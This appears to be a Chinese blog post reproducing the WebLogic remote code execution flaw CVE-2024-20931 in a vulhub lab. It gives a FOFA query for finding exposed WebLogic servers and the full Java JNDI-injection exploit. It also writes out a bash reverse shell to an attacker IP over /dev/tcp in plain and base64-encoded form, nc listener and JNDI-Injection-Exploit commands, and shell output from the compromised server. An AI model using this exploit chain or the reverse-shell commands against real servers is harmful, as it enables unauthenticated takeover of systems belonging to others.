Weblogic远程代码执行(CVE-2024-20931)复现

Weblogic远程代码执行(CVE-2024-20931)

Oracle WebLogic Server是一个用于构建、部署和管理企业级Java应用程序。

在Oracle发布的2024年1月补丁中,成功修复了一个基于Weblogic T3\IIOP协议的远程命令执行漏洞CVE-2024-20931,该漏洞是由于 CVE-2023-21839 漏洞未修补完全,未经身份验证的攻击者通过 T3、IIOP 进行网络访问来破坏 Oracle WebLogic Server。成功利用此漏洞可能会导致 Oracle WebLogic Server 被接管。

影响版本为:12.2.1.4.0 和14.1.1.0.0

JNDI注入的一种新攻击面-CVE-2024-20931分析:https://g1asssy.com/2024/01/31/CVE_2024_20931/

fofa查询

(body="Welcome to WebLogic Server") || (title=="Error 404--Not Found") || (((body="
BEA WebLogic Server" || server="Weblogic" || body="content=\"WebLogic Server" || body="
Welcome to Weblogic Application" || body="
BEA WebLogic Server") && header!="couchdb" && header!="boa" && header!="RouterOS" && header!="X-Generator: Drupal") || (banner="Weblogic" && banner!="couchdb" && banner!="drupal" && banner!=" Apache,Tomcat,Jboss" && banner!="ReeCam IP Camera" && banner!="
Blog Comments
")) || (port="7001" && protocol=="weblogic")

环境搭建

直接使用vunhub CVE-2023-21839环境即可,执行以下命令启动WebLogic Server 12.2.1.3漏洞环境:

cd /xx/vulhub/weblogic/CVE-2023-21839
docker compose up -d

启动完成后,访问http://your-ip:7001/console可以看到WebLogic管理控制台登录页。

攻击者主机java 版本:1.8.0_402

复现

POC

漏洞利用工具:https://github.com/dinosn/CVE-2024-20931,下载CVE-2024-20931.jar

// https://github.com/dinosn/CVE-2024-20931
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Scanner;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import weblogic.deployment.jms.ForeignOpaqueReference;

public class MainClass {
  public static void main(String[] args) throws NamingException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
    String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    Scanner scanner = new Scanner(System.in);
    System.out.print("Please input target IP:");
    String targetIP = scanner.nextLine();
    System.out.print("Please input target port:");
    String targetPort = scanner.nextLine();
    String url = "t3://" + targetIP + ":" + targetPort;
    Hashtable<Object, Object> env1 = new Hashtable<>();
    env1.put("java.naming.factory.initial", JNDI_FACTORY);
    env1.put("java.naming.provider.url", url);
    InitialContext c = new InitialContext(env1);
    Hashtable<Object, Object> env2 = new Hashtable<>();
    System.out.print("Please input RMI Address(ip:port/exp):");
    String exp = scanner.nextLine();
    env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
    env2.put("datasource", "ldap://" + exp);
    ForeignOpaqueReference f = new ForeignOpaqueReference();
    Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
    jndiEnvironment.setAccessible(true);
    jndiEnvironment.set(f, env2);
    Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
    remoteJNDIName.setAccessible(true);
    String ldap = "ldap://" + exp;
    remoteJNDIName.set(f, ldap);
    c.rebind("glassy", f);
    try {
      c.lookup("glassy");
    } catch (Exception exception) {}
  }
}

DNSLog 检测

建议使用 https://dnslog.org/,获取sub domain后使用xxx.dnslog.pp.ua./mt作为rmi地址。

java -jar CVE-2024-20931.jar
Please input target IP:靶机ip
Please input target port:7001
Please input RMI Address(ip:port/exp):xxx.dnslog.pp.ua./mt
image-20260120150908403

反弹Shell

  1. 构建反弹Shell命令

​ 反弹Shell生成工具:https://zgao.top/reverse-shell/

bash -i >& /dev/tcp/攻击者主机ip/4444 0>&1

​ base64编码执行bash反弹shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzxxxxxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

  1. 攻击者主机nc监听

    mac执行nc -l -vv 4444

    linux执行nc -lvvp 4444

  2. 使用JNDI注入利用工具(https://github.com/welk1n/JNDI-Injection-Exploit )自建RMI 与 ldap 服务

    java -jar "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar" -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzxxxxxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "攻击者主机ip"
    
    image-20260121091947363
  3. 执行漏洞利用

    漏洞利用工具:https://github.com/dinosn/CVE-2024-20931

    ❯ java -jar CVE-2024-20931.jar
    Please input target IP:靶机ip
    Please input target port:7001
    Please input RMI Address(ip:port/exp):攻击者ip:1389/czpgye
    

    RMI Address使用上一步结果中的地址

  4. 执行结果

    ❯ nc -l -vv 4444
    bash: no job control in this shell
    [oracle@117c5fc6287d base_domain]$ whoami
    whoami
    oracle
    [oracle@117c5fc6287d base_domain]$ ls
    ls
    autodeploy
    bin
    common
    config
    console-ext
    derby.log
    edit.lok
    fileRealm.properties
    init-info
    lib
    nodemanager
    orchestration
    security
    servers
    startWebLogic.sh
    
posted @ 2026-01-21 09:44  Zebra233  阅读(1)  评论(0)    收藏  举报